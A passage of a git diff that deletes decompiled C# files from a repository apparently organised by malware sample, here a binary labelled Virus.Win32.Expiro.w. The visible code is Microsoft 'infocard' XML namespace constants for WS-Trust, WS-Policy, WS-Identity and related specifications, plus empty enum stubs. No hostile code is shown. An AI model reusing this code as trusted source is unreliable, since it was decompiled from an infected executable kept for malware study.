"addressing.xsd"; - public const string EndpointReference = "EndpointReference"; - public const string Address = "Address"; - - private WSAddressing() - { - } - } - - internal sealed class WSAddressing04 - { - public const string DefaultPrefix = "wsa04"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/08/addressing"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/08/addressing/"; - public const string LocalSchemaLocation = "addressing04.xsd"; - - private WSAddressing04() - { - } - } - - internal sealed class WSPolicy - { - public const string DefaultPrefix = "wsp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/policy/ws-policy.xsd"; - public const string LocalSchemaLocation = "ws-policy.xsd"; - public const string Policy = "Policy"; - public const string AppliesTo = "AppliesTo"; - - private WSPolicy() - { - } - } - - internal enum WSSpecificationVersion - { - WSPolicyXmlSoap2004, - WSPolicyW32007, - WSTrustXmlSoap2005, - WSTrustOasis2007, - WSSecurityPolicyXmlSoap2005, - WSSecurityPolicyOasis2007, - } - - internal interface IWSSpecification - { - XmlNames.WSSpecificationVersion Version { get; } - } - - internal interface IWSPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string Policy { get; } - - string AppliesTo { get; } - } - - internal sealed class WSPolicyXmlSoap2004 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2004"; - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyXmlSoap2004 Instance = new XmlNames.WSPolicyXmlSoap2004(); - - private WSPolicyXmlSoap2004() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyXmlSoap2004; - - public string DefaultPrefix => "wsp2004"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2004/09/policy"; - - public string SchemaLocation => this.Namespace + "/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class WSPolicyW32007 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2007"; - public const string c_Namespace = "http://www.w3.org/ns/ws-policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyW32007 Instance = new XmlNames.WSPolicyW32007(); - - private WSPolicyW32007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyW32007; - - public string DefaultPrefix => "wsp2007"; - - public string Namespace => "http://www.w3.org/ns/ws-policy"; - - public string SchemaLocation => "http://www.w3.org/2007/02/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy-2007.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class XmlEnc - { - public const string DefaultPrefix = "enc"; - public const string Namespace = "http://www.w3.org/2001/04/xmlenc#"; - public const string EncryptedData = "EncryptedData"; - public const string EncryptionMethod = "EncryptionMethod"; - public const string EncryptionProperties = "EncryptionProperties"; - public const string CipherData = "CipherData"; - public const string CipherValue = "CipherValue"; - public const string Encoding = "Encoding"; - public const string MimeType = "MimeType"; - public const string Type = "Type"; - public const string Id = "Id"; - public const string Algorithm = "Algorithm"; - public const string LocalSchemaLocation = "xenc-schema.xsd"; - public const string SchemaLocation = "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"; - - private XmlEnc() - { - } - } - - internal sealed class XmlDSig - { - public const string DefaultPrefix = "dsig"; - public const string Namespace = "http://www.w3.org/2000/09/xmldsig#"; - public const string SchemaLocation = "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"; - public const string LocalSchemaLocation = "xmldsig-core-schema.xsd"; - public const string X509CertificateElement = "X509Certificate"; - public const string X509IssuerSerialElement = "X509IssuerSerial"; - public const string X509IssuerNameElement = "X509IssuerName"; - public const string X509SerialNumberElement = "X509SerialNumber"; - public const string X509DataElement = "X509Data"; - public const string RSAKeyValueElement = "RSAKeyValue"; - public const string Signature = "Signature"; - public const string KeyInfo = "KeyInfo"; - public const string KeyValue = "KeyValue"; - - private XmlDSig() - { - } - } - - internal sealed class WSSecurityPolicy - { - public const string DefaultPrefix = "sp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - public const string LocalSchemaLocation = "ws-securitypolicy.xsd"; - public const string RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - - private WSSecurityPolicy() - { - } - } - - internal interface IWSSecurityPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string RequestSecurityTokenTemplate { get; } - } - - internal sealed class WSSecurityPolicyXmlSoap2005 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyXmlSoap2005 Instance = new XmlNames.WSSecurityPolicyXmlSoap2005(); - - private WSSecurityPolicyXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyXmlSoap2005; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - - public string SchemaLocation => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityPolicyOasis2007 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyOasis2007 Instance = new XmlNames.WSSecurityPolicyOasis2007(); - - private WSSecurityPolicyOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyOasis2007; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - - public string SchemaLocation => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/ws-securitypolicy-1.2.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy-1.2.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityUtility - { - public const string DefaultPrefix = "wssu"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string Created = "Created"; - public const string Expires = "Expires"; - - private WSSecurityUtility() - { - } - } - - internal sealed class WSSecurityExt - { - public const string DefaultPrefix = "wsse"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string Sha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string AltSha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string KeyIdentifierElement = "KeyIdentifier"; - public const string ValueTypeAttribute = "ValueType"; - - private WSSecurityExt() - { - } - } - - internal sealed class WSMetadataExchange - { - public const string DefaultPrefix = "wsmex"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/mex"; - public const string LocalSchemaLocation = "MetadataExchange.xsd"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/mex/MetadataExchange.xsd"; - - private WSMetadataExchange() - { - } - } - - internal sealed class Soap11 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://schemas.xmlsoap.org/soap/envelope/"; - - private Soap11() - { - } - } - - internal sealed class Soap12 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://www.w3.org/2003/05/soap-envelope"; - - private Soap12() - { - } - } - - internal sealed class WSIdentity - { - public const string DefaultPrefix = "wsid"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity"; - public const string LocalSchemaLocation = "identity.xsd"; - public const string ClaimElement = "ClaimType"; - public const string SupportedClaimTypeElement = "SupportedClaimType"; - public const string ProvisionAtElement = "ProvisionAt"; - public const string RequestBrowserToken = "RequestBrowserToken"; - public const string Identity = "Identity"; - public const string DictionaryUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"; - public const string SelfIssuerUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"; - public const string AnonymousIssuerUri = "http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"; - public const string PersonalCategoryUri = "http://icardissuer.microsoft.com/categories/identitycard"; - public const string UserNamePasswordAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/UsernamePassword"; - public const string KerberosV5Auth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/KerberosV5"; - public const string X509V3SoftAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3Soft"; - public const string X509V3SmartCardAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3SmartCard"; - public const string SelfIssuedAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/SelfIssuedToken"; - public const string RequestDisplayTokenElement = "RequestDisplayToken"; - public const string RequestedDisplayTokenElement = "RequestedDisplayToken"; - public const string DisplayTokenElement = "DisplayToken"; - public const string DisplayTokenTextElement = "DisplayTokenText"; - public const string DisplayClaimElement = "DisplayClaim"; - public const string DisplayTagElement = "DisplayTag"; - public const string DisplayValueElement = "DisplayValue"; - public const string DescriptionElement = "Description"; - public const string InfoCardElement = "InformationCard"; - public const string RoamingInfoCardElement = "RoamingInformationCard"; - public const string InfoCardRefElement = "InformationCardReference"; - public const string CardNameElement = "CardName"; - public const string CardImageElement = "CardImage"; - public const string CardIdElement = "CardId"; - public const string CardVersionElement = "CardVersion"; - public const string IssuerNameElement = "IssuerName"; - public const string IssuerElement = "Issuer"; - public const string IssuerUriElement = "IssuerUri"; - public const string TimeIssuedElement = "TimeIssued"; - public const string TimeExpiresElement = "TimeExpires"; - public const string SupportedClaimTypeListElement = "SupportedClaimTypeList"; - public const string SupportedTokenTypeListElement = "SupportedTokenTypeList"; - public const string RequirePinProtectionElement = "RequirePinProtection"; - public const string TokenServiceListElement = "TokenServiceList"; - public const string TokenServiceElement = "TokenService"; - public const string UserCredentialElement = "UserCredential"; - public const string DisplayCredentialHintElement = "DisplayCredentialHint"; - public const string UserNamePasswordCredentialElement = "UsernamePasswordCredential"; - public const string X509V3CredentialElement = "X509V3Credential"; - public const string KerberosV5CredentialElement = "KerberosV5Credential"; - public const string SelfIssuedCredentialElement = "SelfIssuedCredential"; - public const string RequireAppliesToElement = "RequireAppliesTo"; - public const string UserNameElement = "Username"; - public const string PrivatePersonalIdentifierElement = "PrivatePersonalIdentifier"; - public const string MaxTokenAgeElement = "MaxTokenAge"; - public const string OpaqueEndPointElement = "OpaqueEndpoint"; - public const string UriAttribute = "Uri"; - public const string OptionalAttribute = "Optional"; - public const string MimeTypeAttribute = "MimeType"; - public const string MethodAttribute = "Method"; - public const string PrivacyNoticeAtElement = "PrivacyNotice"; - public const string PrivacyNoticeVersionAttribute = "Version"; - public const string IsManagedElement = "IsManaged"; - public const string MasterKeyElement = "MasterKey"; - public const string PinDigestElement = "PinDigest"; - public const string HashSaltElement = "HashSalt"; - public const string TimeLastUpdatedElement = "TimeLastUpdated"; - public const string ClaimValueElement = "ClaimValue"; - public const string RoamingStoreElement = "RoamingStore"; - public const string IsSelfIssuedElement = "IsSelfIssued"; - public const string StoreSaltElement = "StoreSalt"; - public const string IssuerIdElement = "IssuerId"; - public const string IterationCountElement = "IterationCount"; - public const string EncryptedStoreElement = "EncryptedStore"; - public const string BackgroundColorElement = "BackgroundColor"; - public const string UserPrincipalNameElement = "UserPrincipalName"; - public const string InfoCardMetaDataElement = "InformationCardMetaData"; - public const string InfoCardPrivateDataElement = "InformationCardPrivateData"; - public const string ClaimValueListElement = "ClaimValueList"; - public const string ValueElement = "Value"; - public const string ThumbprintUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/keyThumbprintSHA1"; - public const string ClientPseudonym = "ClientPseudonym"; - public const string PPID = "PPID"; - public const string FaultNamespace = "http://schemas.xmlsoap.org/ws/2005/05/identity/fault"; - public const string FaultRefreshRequired = "InformationCardRefreshRequired"; - public const string FaultMissingAppliesTo = "MissingAppliesTo"; - public const string FaultInvalidProofKey = "InvalidProofKey"; - public const string FaultUnknownReference = "UnknownInformationCardReference"; - public const string FaultRequiredClaims = "FailedRequiredClaims"; - public static readonly Uri SelfIssuerUriValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"); - public static readonly Uri AnonymousIssuerUriValue = new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"); - public static readonly Uri NoProofKeyTypeValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey"); - - private WSIdentity() - { - } - } - - internal sealed class WSIdentity07 - { - public const string DefaultPrefix = "wsid07"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2007/01/identity"; - public const string LocalSchemaLocation = "ws-identity-2007.xsd"; - public const string IssuerInformation = "IssuerInformation"; - public const string IssuerInformationEntry = "IssuerInformationEntry"; - public const string EntryName = "EntryName"; - public const string EntryValue = "EntryValue"; - public const string RequireStrongRPIdentity = "RequireStrongRecipientIdentity"; - - private WSIdentity07() - { - } - } - - internal sealed class WSTrust - { - public const string DefaultPrefix = "wst"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/02/trust/ws-trust.xsd"; - public const string LocalSchemaLocation = "ws-trust.xsd"; - public const string ClaimsElement = "Claims"; - public const string TokenType = "TokenType"; - public const string EncryptWith = "EncryptWith"; - public const string CustomToken = "customToken"; - public const string Context = "Context"; - public const string KeyType = "KeyType"; - public const string KeySize = "KeySize"; - public const string UseKey = "UseKey"; - public const string SigAttribute = "Sig"; - public const string RequestSecurityToken = "RequestSecurityToken"; - public const string RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string RequestedSecurityToken = "RequestedSecurityToken"; - public const string RequestedProofToken = "RequestedProofToken"; - public const string RequestSecurityTokenResponse = "RequestSecurityTokenResponse"; - public const string Lifetime = "Lifetime"; - public const string RequestedAttachedReference = "RequestedAttachedReference"; - public const string RequestedUnattachedReference = "RequestedUnattachedReference"; - public const string Entropy = "Entropy"; - public const string ComputedKey = "ComputedKey"; - public const string AuthenticationType = "AuthenticationType"; - public const string SignatureAlgorithm = "SignatureAlgorithm"; - public const string EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string SignWith = "SignWith"; - public const string ComputedKeyAlgorithm = "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1"; - public const string RequestType = "RequestType"; - public const string IssueRequestType = "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue"; - public static readonly Uri KeyTypeSymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey"); - public static readonly Uri KeyTypeAsymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey"); - - private WSTrust() - { - } - } - - internal interface IWSTrust : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string ClaimsElement { get; } - - string TokenType { get; } - - string EncryptWith { get; } - - string CustomToken { get; } - - string Context { get; } - - string KeyType { get; } - - string KeySize { get; } - - string UseKey { get; } - - string SigAttribute { get; } - - string RequestSecurityToken { get; } - - string RequestSecurityTokenAction { get; } - - string RequestSecurityTokenResponseAction { get; } - - string RequestedSecurityToken { get; } - - string RequestedProofToken { get; } - - string RequestSecurityTokenResponse { get; } - - string RequestSecurityTokenResponseCollection { get; } - - string Lifetime { get; } - - string RequestedAttachedReference { get; } - - string RequestedUnattachedReference { get; } - - string Entropy { get; } - - string ComputedKey { get; } - - string AuthenticationType { get; } - - string SignatureAlgorithm { get; } - - string EncryptionAlgorithm { get; } - - string CanonicalizationAlgorithm { get; } - - string SignWith { get; } - - string ComputedKeyAlgorithm { get; } - - string RequestType { get; } - - string IssueRequestType { get; } - - string SecondaryParameters { get; } - - string KeyWrapAlgorithm { get; } - - string Dialect { get; } - - Uri KeyTypeSymmetric { get; } - - Uri KeyTypeAsymmetric { get; } - - Uri KeyTypeBearer { get; } - } - - internal sealed class WSTrustXmlSoap2005 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string c_RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string c_DefaultPrefix = "wst2005"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustXmlSoap2005 Instance = new XmlNames.WSTrustXmlSoap2005(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/PublicKey"); - - private WSTrustXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005; - - public string DefaultPrefix => "wst2005"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/02/trust"; - - public string SchemaLocation => this.Namespace + "/ws-trust.xsd"; - - public string LocalSchemaLocation => "ws-trust.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTR/Issue"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string KeyWrapAlgorithm => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSIdentity.NoProofKeyTypeValue; - } - - internal sealed class WSTrustOasis2007 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - public const string c_RequestSecurityTokenAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal"; - public const string c_DefaultPrefix = "wst"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_SecondaryParameters = "SecondaryParameters"; - public const string c_KeyWrapAlgorithm = "KeyWrapAlgorithm"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustOasis2007 Instance = new XmlNames.WSTrustOasis2007(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/PublicKey"); - private static readonly Uri m_KeyTypeBearer = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/Bearer"); - - private WSTrustOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustOasis2007; - - public string DefaultPrefix => "wst"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - - public string SchemaLocation => this.Namespace + "/ws-trust-1.3.xsd"; - - public string LocalSchemaLocation => "ws-trust-1.3.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTRC/IssueFinal"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => nameof (RequestSecurityTokenResponseCollection); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => nameof (SecondaryParameters); - - public string KeyWrapAlgorithm => nameof (KeyWrapAlgorithm); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSTrustOasis2007.m_KeyTypeBearer; - } - - internal sealed class WSTransfer - { - public const string DefaultPrefix = "wxf"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/transfer"; - public const string Create = "Create"; - public const string CreateAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create"; - public const string CreateResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/CreateResponse"; - public const string Get = "Get"; - public const string GetAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Get"; - public const string GetResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse"; - public const string Put = "Put"; - public const string PutAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Put"; - public const string PutResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/PutResponse"; - public const string Delete = "Delete"; - public const string DeleteAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete"; - public const string DeleteResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/DeleteResponse"; - public const string ResourceCreated = "ResourceCreated"; - public const string WSTransferContractName = "WS-Transfer"; - - private WSTransfer() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/NEGOTIATE_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/NEGOTIATE_MESSAGES.cs deleted file mode 100644 index 7405a097..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/NEGOTIATE_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NEGOTIATE_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum NEGOTIATE_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDEXECOPT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDEXECOPT.cs deleted file mode 100644 index 40ee2ef3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDEXECOPT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDEXECOPT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum OLECMDEXECOPT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDF.cs deleted file mode 100644 index 42cea900..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 